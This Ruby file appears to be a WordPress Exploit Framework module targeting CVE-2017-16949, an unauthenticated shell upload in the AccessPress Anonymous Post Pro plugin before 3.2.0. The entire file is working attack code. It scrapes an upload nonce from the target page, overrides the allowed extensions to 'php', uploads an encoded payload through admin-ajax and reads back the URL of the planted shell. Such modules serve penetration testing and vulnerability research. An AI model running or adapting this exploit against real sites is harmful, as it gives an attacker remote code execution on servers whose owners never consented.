# frozen_string_literal: true

class Wpxf::Exploit::AccessPressAnonymousPostProShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'AccessPress Anonymous Post Pro < 3.2.0 Unauthenticated Shell Upload',
      author: [
        'Colette Chamberland', # Disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8977'],
        ['CVE', '2017-16949']
      ],
      date: 'Dec 19 2017'
    )
  end

  def check
    :unknown
  end

  def before_upload
    emit_info 'Acquiring upload nonce...'
    res = execute_get_request(url: full_uri)
    return false unless res&.code == 200

    pattern = /var\sap_fileuploader\s=\s{.+?,"nonce":"([a-zA-Z0-9]+?)"};/i
    self.upload_nonce = res.body[pattern, 1]

    if upload_nonce.nil?
      emit_error 'Failed to acquire upload nonce'
      return false
    else
      emit_success "Acquired upload nonce: #{upload_nonce}", true
      return true
    end
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def upload_request_params
    {
      'action' => 'ap_file_upload_action',
      'file_uploader_nonce' => upload_nonce,
      'allowedExtensions[]' => 'php',
      'sizeLimit' => '6400'
    }
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('qqfile', payload.encoded, payload_name)
    builder
  end

  def uploaded_payload_location
    return nil if upload_result&.body.nil?

    res = JSON.parse(upload_result.body)
    res['url']
  end

  attr_accessor :upload_nonce
end
